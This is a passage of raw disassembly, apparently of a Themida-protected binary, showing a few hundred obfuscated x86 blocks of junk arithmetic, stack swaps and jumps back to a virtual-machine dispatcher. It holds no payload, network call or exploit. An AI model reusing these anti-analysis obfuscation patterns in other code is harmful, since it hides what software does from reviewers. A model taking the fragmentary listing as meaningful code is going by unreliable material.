		sub	esi, 43C826FFh
		jmp	loc_5584D4
; ---------------------------------------------------------------------------


loc_5599B5:				; CODE XREF: Themida_:0055A164j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	5D0Bh
		mov	[esp], ebx
		push	ecx
		jmp	loc_55C49A
; ---------------------------------------------------------------------------


loc_5599D0:				; CODE XREF: Themida_:00557B6Dj
		push	12471E30h
		jmp	loc_557F3F
; ---------------------------------------------------------------------------


loc_5599DA:				; CODE XREF: Themida_:00558C5Dj
		pop	esp
		push	ebx
		jmp	loc_55D96B
; ---------------------------------------------------------------------------


loc_5599E1:				; CODE XREF: Themida_:0055806Fj
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 16E16BFFh
		mov	eax, 1D28C335h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552EB6
; ---------------------------------------------------------------------------


loc_5599FD:				; CODE XREF: Themida_:0055B985j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_55C71D
; ---------------------------------------------------------------------------


loc_559A1E:				; CODE XREF: Themida_:0055A398j
		mov	[esp], esi
		jmp	loc_5593C6
; ---------------------------------------------------------------------------


loc_559A26:				; CODE XREF: Themida_:0055CE3Dj
		push	eax
		pop	ebp
		pop	eax
		sub	eax, 60D702D0h
		sub	eax, ebp
		add	eax, 60D702D0h
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_55B129
; ---------------------------------------------------------------------------


loc_559A3F:				; CODE XREF: Themida_:0055A818j
		add	esp, 2
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559A47:				; CODE XREF: Themida_:005582D5j
		mov	edi, 4C362FA9h
		jmp	loc_551A60
; ---------------------------------------------------------------------------


loc_559A51:				; CODE XREF: Themida_:0055B74Ej
		sub	al, 44h
		push	edx
		mov	dl, 9Dh
		jmp	loc_554A29
; ---------------------------------------------------------------------------


loc_559A5B:				; CODE XREF: Themida_:0055781Ej
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 3249720Bh
		xor	esi, 3249720Fh
		add	edi, esi
		pop	esi
		jmp	loc_558DB4
; ---------------------------------------------------------------------------


loc_559A72:				; CODE XREF: Themida_:00551FD3j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		bt	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559A8A:				; CODE XREF: Themida_:0055BF77j
		sub	dword ptr [esp], 4E006644h
		pop	ebx
		push	edx
		jmp	loc_559AA3
; ---------------------------------------------------------------------------


loc_559A98:				; CODE XREF: Themida_:0055B796j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554483
; ---------------------------------------------------------------------------


loc_559AA3:				; CODE XREF: Themida_:00559A93j
		mov	edx, 4E006644h
		add	ebx, edx
		pop	edx
		jmp	loc_557910
; ---------------------------------------------------------------------------


loc_559AB0:				; CODE XREF: Themida_:00558E78j
		inc	ecx
		dec	ecx
		jmp	loc_558F8A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	5B3Bh
		jmp	loc_558FCB
; ---------------------------------------------------------------------------


loc_559AC6:				; CODE XREF: Themida_:0055D1F0j
		pop	esp
		push	dword ptr [eax]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559ACE:				; CODE XREF: Themida_:0055C615j
		pop	esi
		xor	eax, 140926CAh
		push	ecx
		jmp	loc_553841
; ---------------------------------------------------------------------------


loc_559ADA:				; CODE XREF: Themida_:0055B279j
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	5320h
		mov	[esp], ebx
		mov	ebx, 2
		add	ecx, 535508A2h
		add	ecx, ebx
		push	edi
		mov	edi, 5E1F3469h
		dec	edi
		and	edi, 156A0078h
		not	edi
		inc	edi
		dec	edi
		add	edi, 675F090Bh
		jmp	loc_554021
; ---------------------------------------------------------------------------


loc_559B19:				; CODE XREF: Themida_:0055A081j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 4CD411C8h
		push	ecx
		mov	ecx, 7EF230E9h
		sub	[esp+4], ecx
		jmp	loc_554105
; ---------------------------------------------------------------------------


loc_559B36:				; CODE XREF: Themida_:00555302j
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	6190h
		mov	[esp], esi
		mov	esi, 590F0A24h
		dec	esi
		inc	esi
		shr	esi, 4
		sub	esi, 590F09Eh
		add	edi, 5B826C53h
		add	edi, esi
		sub	edi, 5B826C53h
		jmp	loc_55A169
; ---------------------------------------------------------------------------


loc_559B7C:				; CODE XREF: Themida_:0055C495j
		push	eax
		mov	eax, esp
		jmp	loc_558A35
; ---------------------------------------------------------------------------


loc_559B84:				; CODE XREF: Themida_:0055354Dj
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		add	ecx, 0E54300Ah
		jmp	loc_5543A6
; ---------------------------------------------------------------------------


loc_559B9E:				; CODE XREF: Themida_:00555927j
		push	ecx
		push	esi
		mov	esi, 0B956301h
		push	ecx
		push	eax
		mov	eax, 6DD42A88h
		shr	eax, 8
		not	eax
		add	eax, 2A906C26h
		neg	eax
		jmp	loc_55AC47
; ---------------------------------------------------------------------------


loc_559BBD:				; CODE XREF: Themida_:00557FFBj
		or	ebx, 29364F3h
		shr	ebx, 8
		sub	ebx, 3FF778h
		add	edi, ebx
		jmp	loc_55D7C2
; ---------------------------------------------------------------------------


loc_559BD3:				; CODE XREF: Themida_:00553C3Fj
		mov	dl, 0F6h
		jmp	loc_55D177
; ---------------------------------------------------------------------------


loc_559BDA:				; CODE XREF: Themida_:0055B0B7j
		mov	edi, 25544B3Ah
		jmp	loc_55B57D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 1D965518h
		push	edx
		mov	edx, 4B147B57h
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		add	ebp, 4B147B57h
		add	ebp, 1D965518h
		pop	edi
		jmp	loc_55CB30
; ---------------------------------------------------------------------------


loc_559C1C:				; CODE XREF: Themida_:0055D3A0j
		sub	bl, al
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_557083
; ---------------------------------------------------------------------------


loc_559C2B:				; CODE XREF: Themida_:0055D1E5j
		sub	ebx, 0D9BF02AFh
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, 43FC1EFDh
		xor	ecx, 0A9F3FF3h
		push	ecx
		xchg	edx, [esp]
		not	edx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55A253
; ---------------------------------------------------------------------------


loc_559C59:				; CODE XREF: Themida_:0055CB68j
		push	esi
		push	4
		pop	esi
		jmp	loc_55B338
; ---------------------------------------------------------------------------


loc_559C65:				; CODE XREF: Themida_:0055A63Dj
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 5D160CE4h
		pop	ebp
		jmp	loc_551815
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55C2E3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_554AD4
; ---------------------------------------------------------------------------


loc_559C91:				; CODE XREF: Themida_:005593ECj
		mov	[esp], ebp
		push	edx
		mov	edx, 210734A5h
		or	edx, 0F7C249Eh
		jmp	loc_558E50
; ---------------------------------------------------------------------------


loc_559CA5:				; CODE XREF: Themida_:0055C696j
		push	1C5Eh
		mov	[esp], esi
		push	1598h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	223Eh
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, 66DC6798h
		jmp	loc_5533E5
; ---------------------------------------------------------------------------


loc_559CD2:				; CODE XREF: Themida_:0055311Cj
		push	esp
		pop	edx
		jmp	loc_55B45B
; ---------------------------------------------------------------------------


loc_559CD9:				; CODE XREF: Themida_:0055C23Dj
		mov	esi, 400h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_559874
; ---------------------------------------------------------------------------


loc_559CF3:				; CODE XREF: Themida_:0055C58Bj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C484
; ---------------------------------------------------------------------------


loc_559D03:				; CODE XREF: Themida_:005518D1j
		push	edx
		mov	edx, 658E6AC1h
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553CC5
; ---------------------------------------------------------------------------


loc_559D17:				; CODE XREF: Themida_:0055D140j
		shr	esi, 1
		xor	esi, 661F673Ah
		inc	esi
		add	esi, 0AADC1BB8h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_55BD61
; ---------------------------------------------------------------------------


loc_559D34:				; CODE XREF: Themida_:0055D655j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 79800C96h
		jmp	loc_558719
; ---------------------------------------------------------------------------


loc_559D47:				; CODE XREF: Themida_:00558EFBj
		pop	eax
		sub	edi, 0FF98F97Fh
		jmp	loc_558996
; ---------------------------------------------------------------------------


loc_559D53:				; CODE XREF: Themida_:0055A23Ej
		sub	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559D5D:				; CODE XREF: Themida_:0055DB00j
		pop	esp
		mov	[esp], bx
		push	5DE5h
		mov	[esp], ecx
		jmp	loc_55AEDD
; ---------------------------------------------------------------------------


loc_559D6F:				; CODE XREF: Themida_:00554F4Ej
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_55AA8C
; ---------------------------------------------------------------------------


loc_559D89:				; CODE XREF: Themida_:0055A8D6j
		push	46D0h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 22CA188Eh
		mov	edx, 86E184E3h
		sub	edx, edi
		pop	edi
		xor	eax, edx
		jmp	loc_5551D8
; ---------------------------------------------------------------------------


loc_559DBA:				; CODE XREF: Themida_:00555E1Cj
		push	ebp
		mov	ebp, 4BE824B0h
		sub	ebp, 0BDCA847h
		jmp	loc_55D6E6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55CE6F
; ---------------------------------------------------------------------------


loc_559DDC:				; CODE XREF: Themida_:00556967j
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_55C13B
; ---------------------------------------------------------------------------


loc_559E01:				; CODE XREF: Themida_:00557613j
		push	esi
		mov	esi, 558FBA16h
		jmp	loc_553D88
; ---------------------------------------------------------------------------


loc_559E0C:				; CODE XREF: Themida_:00551F32j
		add	esp, 4
		jmp	loc_557F95
; ---------------------------------------------------------------------------


loc_559E17:				; CODE XREF: Themida_:00555D0Bj
		neg	edx
		jmp	loc_552D4C
; ---------------------------------------------------------------------------


loc_559E1E:				; CODE XREF: Themida_:00554C5Dj
		add	ebp, 2F6668F3h
		jmp	loc_55BBE9
; ---------------------------------------------------------------------------


loc_559E29:				; CODE XREF: Themida_:00555699j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553211
; ---------------------------------------------------------------------------


loc_559E34:				; CODE XREF: Themida_:00557C6Bj
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		jmp	loc_557A26
; ---------------------------------------------------------------------------


loc_559E42:				; CODE XREF: Themida_:00551D93j
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 579002C7h
		dec	ecx
		or	ecx, 7C62A4Ch
		add	ecx, 0A829D536h
		jmp	loc_55B92C
; ---------------------------------------------------------------------------


loc_559E5C:				; CODE XREF: Themida_:005565E6j
		inc	ebx
		jmp	loc_55819F
; ---------------------------------------------------------------------------


loc_559E62:				; CODE XREF: Themida_:00553889j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D842
; ---------------------------------------------------------------------------


loc_559E75:				; CODE XREF: Themida_:0055B041j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55BA5C
; ---------------------------------------------------------------------------


loc_559E8B:				; CODE XREF: Themida_:0055356Dj
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		shr	edx, 6
		push	esi
		jmp	loc_557823
; ---------------------------------------------------------------------------


loc_559EA2:				; CODE XREF: Themida_:00553CB3j
		add	esp, 4
		pop	edi
		push	edx
		mov	edx, 420A741Ah
		push	eax
		jmp	loc_551888
; ---------------------------------------------------------------------------


loc_559EB2:				; CODE XREF: Themida_:00554171j
		mov	ebx, 31115F77h
		add	ebx, 608159C6h
		xor	ebx, 0DC4A89BEh
		sub	edx, 6F2D0547h
		sub	edx, ebx
		add	edx, 6F2D0547h
		pop	ebx
		not	edx
		push	ecx
		push	edi
		push	70BD7FD0h
		pop	edi
		and	edi, 7AC3348Bh
		shl	edi, 7
		jmp	loc_551DA3
; ---------------------------------------------------------------------------


loc_559EEA:				; CODE XREF: Themida_:005547D8j
		mov	ecx, 16B95C00h
		shr	ecx, 8
		jmp	loc_55B9F5
; ---------------------------------------------------------------------------


loc_559EF7:				; CODE XREF: Themida_:0055C182j
		mov	ebp, esi
		jmp	loc_557540
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559F06:				; CODE XREF: Themida_:00558DEFj
		pop	edx
		jmp	loc_555F6B
; ---------------------------------------------------------------------------


loc_559F0C:				; CODE XREF: Themida_:0055A447j
		pop	dword ptr [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559F18:				; CODE XREF: Themida_:00552A5Bj
		add	ebx, 4
		jmp	loc_553AC3
; ---------------------------------------------------------------------------


loc_559F20:				; CODE XREF: Themida_:0055C322j
		mov	eax, esp
		push	esi
		mov	esi, 2EB6342Fh
		inc	esi
		dec	esi
		add	esi, 0FFFFFFFFh
		and	esi, 4AE70E2Eh
		sub	esi, 0AA6042Ah
		jmp	loc_55BFAB
; ---------------------------------------------------------------------------


loc_559F41:				; CODE XREF: Themida_:00557318j
		mov	edi, 63B35491h
		shr	edi, 1
		or	edi, 5DE93FD7h
		push	ecx
		mov	ecx, 7B074704h
		jmp	loc_558E22
; ---------------------------------------------------------------------------


loc_559F59:				; CODE XREF: Themida_:00555F0Bj
		sub	esi, 63C36D0Ah
		push	edi
		mov	edi, 244B0EFBh
		dec	edi
		not	edi
		neg	edi
		sub	edi, 0BD31F0A2h
		add	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_55557D
; ---------------------------------------------------------------------------


loc_559F7A:				; CODE XREF: Themida_:0055BF9Cj
		push	eax
		mov	eax, 77A37C60h
		shl	eax, 5
		xor	eax, 0A436B37h
		sub	eax, 50AF6C53h
		sub	eax, 0A8AEBA3Fh
		jmp	loc_551F21
; ---------------------------------------------------------------------------


loc_559F97:				; CODE XREF: Themida_:00552EE4j
		push	ebx
		jmp	loc_558083
; ---------------------------------------------------------------------------


loc_559F9D:				; CODE XREF: Themida_:0055A6A1j
		push	262Fh
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_559FAA:				; CODE XREF: Themida_:005532C0j
		pop	dword ptr [esp]
		pop	esp
		shl	ch, 2
		or	ch, 3Ah
		shr	ch, 4
		jmp	loc_554981
; ---------------------------------------------------------------------------


loc_559FBC:				; CODE XREF: Themida_:005593C1j
		push	esi
		mov	esi, 353F2737h
		and	esi, 6A9A122Eh
		jmp	loc_55D58A
; ---------------------------------------------------------------------------


loc_559FCD:				; CODE XREF: Themida_:00553432j
		add	esi, 4
		jmp	loc_5563CC
; ---------------------------------------------------------------------------


loc_559FD8:				; CODE XREF: Themida_:0055CF7Fj
		xor	eax, 62BA1365h
		inc	eax
		push	ebp
		mov	ebp, 24BF0220h
		xor	ebp, 731F1385h
		xor	eax, ebp
		pop	ebp
		xor	edx, eax
		jmp	loc_557D68
; ---------------------------------------------------------------------------


loc_559FF4:				; CODE XREF: Themida_:0055D872j
		push	bx
		mov	bl, 34h
		add	al, 85h
		add	al, bl
		sub	al, 85h
		pop	bx
		add	al, bl
		sub	al, 34h
		push	edx
		mov	dh, 0F8h
		and	dh, 7Bh
		add	dh, 0Eh
		or	dh, 2Ch
		or	dh, 0C0h
		jmp	loc_5590CE
; ---------------------------------------------------------------------------


loc_55A018:				; CODE XREF: Themida_:0055D50Fj
		add	ebp, 4
		jmp	loc_558AFE
; ---------------------------------------------------------------------------


loc_55A020:				; CODE XREF: Themida_:00554FE6j
		add	esi, 635A5026h
		jmp	loc_553E31
; ---------------------------------------------------------------------------


loc_55A02B:				; CODE XREF: Themida_:00556511j
		add	dword ptr [esp+4], 31D4210h
		mov	edi, [esp]
		push	ebp
		jmp	loc_554BEC
; ---------------------------------------------------------------------------


loc_55A03C:				; CODE XREF: Themida_:0055C0C8j
		pop	edi
		xor	edi, 356E2334h
		push	ebx
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3EAA0772h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ebx, [esp]
		jmp	loc_55BB82
; ---------------------------------------------------------------------------


loc_55A075:				; CODE XREF: Themida_:00552B61j
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_559B19
; ---------------------------------------------------------------------------


loc_55A086:				; CODE XREF: Themida_:0055D19Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552ADE
; ---------------------------------------------------------------------------


loc_55A091:				; CODE XREF: Themida_:00551D9Ej
		pop	esi
		push	24E6h
		mov	[esp], edx
		push	edi
		push	1A5D7B11h
		pop	edi
		sub	edi, 194E72EBh
		mov	edx, edi
		jmp	loc_55BA49
; ---------------------------------------------------------------------------


loc_55A0AE:				; CODE XREF: Themida_:0055B597j
		push	0DF8h
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_55BD2E
; ---------------------------------------------------------------------------


loc_55A0C3:				; CODE XREF: Themida_:00556F60j
		mov	esi, eax
		jmp	loc_558472
; ---------------------------------------------------------------------------


loc_55A0CA:				; CODE XREF: Themida_:005559BCj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_558B48
; ---------------------------------------------------------------------------


loc_55A0D5:				; CODE XREF: Themida_:00557B34j
		pop	eax
		mov	dword ptr [edi+24h], 2A4C0686h
		push	dword ptr [edi+24h]
		jmp	loc_55CA2C
; ---------------------------------------------------------------------------


loc_55A0E5:				; CODE XREF: Themida_:00554B10j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55A0EE:				; CODE XREF: Themida_:0055B63Aj
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4A5B4D36h
		push	eax
		mov	eax, 592F2C49h
		jmp	loc_552CB6
; ---------------------------------------------------------------------------


loc_55A105:				; CODE XREF: Themida_:0055C601j
		mov	[esp], cx
		mov	cl, 62h
		sub	al, cl
		pop	cx
		jmp	loc_55BAF0
; ---------------------------------------------------------------------------


loc_55A114:				; CODE XREF: Themida_:00556ED6j
		pop	edx
		jmp	loc_55C242
; ---------------------------------------------------------------------------


loc_55A11A:				; CODE XREF: Themida_:00558317j
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55BDFE
; ---------------------------------------------------------------------------


loc_55A130:				; CODE XREF: Themida_:0055A34Ej
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_55D6B3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		jmp	loc_55DC78
; ---------------------------------------------------------------------------


loc_55A157:				; CODE XREF: Themida_:005552E6j
		push	7181h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5599B5
; ---------------------------------------------------------------------------


loc_55A169:				; CODE XREF: Themida_:00559B77j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_558C54
; ---------------------------------------------------------------------------


loc_55A172:				; CODE XREF: Themida_:0055A22Dj
		pop	ebp
		sub	ecx, 3CF12297h
		jmp	loc_554AB3
; ---------------------------------------------------------------------------


loc_55A17E:				; CODE XREF: Themida_:00555128j
		add	esi, 2
		xor	esi, [esp]
		jmp	loc_552E60
; ---------------------------------------------------------------------------


loc_55A18C:				; CODE XREF: Themida_:00554223j
		add	ebp, 7D70EA6h
		push	eax
		mov	eax, 5BF41E1Eh
		add	ecx, eax
		pop	eax
		add	ecx, ebp
		sub	ecx, 5BF41E1Eh
		jmp	loc_55A847
; ---------------------------------------------------------------------------


loc_55A1A8:				; CODE XREF: Themida_:00551F0Bj
		shl	edi, 1
		shl	edi, 8
		sub	edi, 3AF39FCh
		mov	esi, edi
		jmp	loc_5571BD
; ---------------------------------------------------------------------------


loc_55A1BA:				; CODE XREF: Themida_:0055514Ej
		mov	ebx, edx
		pop	edx
		mov	ebp, [esp]
		push	5D5Eh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		pop	ecx
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_55C3CA
; ---------------------------------------------------------------------------


loc_55A1F0:				; CODE XREF: Themida_:005581C3j
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, 48h
		add	bl, al
		add	bl, 48h
		sub	bl, 0A8h
		jmp	loc_55CDFB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 3C2D36FEh
		shl	ebx, 4
		push	ebp
		push	0C2D36FE4h
		pop	ebp
		xor	ebx, ebp
		jmp	loc_55A172
; ---------------------------------------------------------------------------


loc_55A232:				; CODE XREF: Themida_:0055B99Dj
		pop	ecx
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_559D53
; ---------------------------------------------------------------------------


loc_55A243:				; CODE XREF: Themida_:0055833Aj
		pop	ebp
		jmp	loc_5570E4
; ---------------------------------------------------------------------------


loc_55A249:				; CODE XREF: Themida_:00553B56j
		not	ebx
		xchg	ebp, ebx
		inc	ebp
		jmp	loc_557551
; ---------------------------------------------------------------------------


loc_55A253:				; CODE XREF: Themida_:00559C54j
		pop	edx
		pop	dword ptr [esp]
		inc	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55AA44
; ---------------------------------------------------------------------------


loc_55A271:				; CODE XREF: Themida_:00556CD6j
		mov	ch, 0B7h
		jmp	loc_55D7AB
; ---------------------------------------------------------------------------


loc_55A278:				; CODE XREF: Themida_:0055CDACj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		idiv	ecx
		push	6AAh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55A290:				; CODE XREF: Themida_:00554ACFj
		sub	ecx, 744167DBh
		pop	ebp
		pop	ebx
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_558E7D
; ---------------------------------------------------------------------------


loc_55A2A8:				; CODE XREF: Themida_:0055BB85j
		xor	ebx, 3EAA0772h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		jmp	loc_55847D
; ---------------------------------------------------------------------------


loc_55A2C1:				; CODE XREF: Themida_:00551CCBj
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		sub	eax, ebp
		jmp	loc_553EE2
; ---------------------------------------------------------------------------


loc_55A2E9:				; CODE XREF: Themida_:0055D1D1j
		inc	edi
		add	edi, 1DB642CBh
		jmp	loc_5572AC
; ---------------------------------------------------------------------------


loc_55A2F5:				; CODE XREF: Themida_:00552666j
		mov	ecx, 5D775A22h
		sub	ecx, 7E5A131Eh
		push	edx
		mov	edx, 55A2749Ch
		or	ecx, edx
		jmp	loc_55882F
; ---------------------------------------------------------------------------


loc_55A30D:				; CODE XREF: Themida_:005590A4j
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_554757
; ---------------------------------------------------------------------------


loc_55A317:				; CODE XREF: Themida_:00552740j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55184F
; ---------------------------------------------------------------------------


loc_55A320:				; CODE XREF: Themida_:00556BFBj
		xor	ecx, 333E74E0h
		push	ebx
		mov	ebx, ecx
		jmp	loc_5569CA
; ---------------------------------------------------------------------------


loc_55A32E:				; CODE XREF: Themida_:0055663Aj
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_551D80
; ---------------------------------------------------------------------------


loc_55A33F:				; CODE XREF: Themida_:0055667Bj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		jmp	loc_55A130
; ---------------------------------------------------------------------------


loc_55A353:				; CODE XREF: Themida_:0055C4A3j
		xor	ecx, 4E406974h
		push	ecx
		mov	ebx, [esp]
		push	212Bh
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55D5A9
; ---------------------------------------------------------------------------


loc_55A383:				; CODE XREF: Themida_:00554396j
		pop	ecx
		add	edi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_559A1E
; ---------------------------------------------------------------------------


loc_55A39D:				; CODE XREF: Themida_:0055CEA4j
		shr	esi, 2
		jmp	loc_55BC74
; ---------------------------------------------------------------------------


loc_55A3A5:				; CODE XREF: Themida_:005561E8j
		pop	esp
		mov	cx, [esp]
		push	6E6Bh
		jmp	loc_55CBF1
; ---------------------------------------------------------------------------


loc_55A3B4:				; CODE XREF: Themida_:005567DCj
		pop	esi
		jmp	loc_55DB38
; ---------------------------------------------------------------------------


loc_55A3BA:				; CODE XREF: Themida_:0055A43Dj
		xor	edi, edx
		not	edx
		push	edi
		jmp	loc_5543EE
; ---------------------------------------------------------------------------


loc_55A3C4:				; CODE XREF: Themida_:0055CC25j
		sub	eax, ebp
		sub	eax, 6EEF5D09h
		pop	ebp
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 35AE154Ch
		push	edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		sub	esi, 35AE1547h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558708
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_556C00
; ---------------------------------------------------------------------------


loc_55A40C:				; CODE XREF: Themida_:0055C9D0j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55A420:				; CODE XREF: Themida_:00551A6Bj
		mov	ecx, [esp]
		jmp	loc_55D421
; ---------------------------------------------------------------------------


loc_55A428:				; CODE XREF: Themida_:00551950j
		push	3BF6h
		mov	[esp], ecx
		mov	ch, 21h
		mov	ah, 50h
		sub	ah, ch
		jmp	loc_55607B
; ---------------------------------------------------------------------------


loc_55A43B:				; CODE XREF: Themida_:0055404Ej
		xor	edx, edi
		jmp	loc_55A3BA
; ---------------------------------------------------------------------------


loc_55A442:				; CODE XREF: Themida_:0055A477j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_559F0C
; ---------------------------------------------------------------------------


loc_55A44C:				; CODE XREF: Themida_:00558B17j
		pop	small word ptr [esp]
		push	small 39E5h
		mov	[esp], ax
		push	dx
		jmp	loc_55ADF2
; ---------------------------------------------------------------------------


loc_55A45F:				; CODE XREF: Themida_:00558D32j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5551CF
; ---------------------------------------------------------------------------


loc_55A470:				; CODE XREF: Themida_:00552383j
		add	edx, 2
		push	edx
		jmp	loc_55A442
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
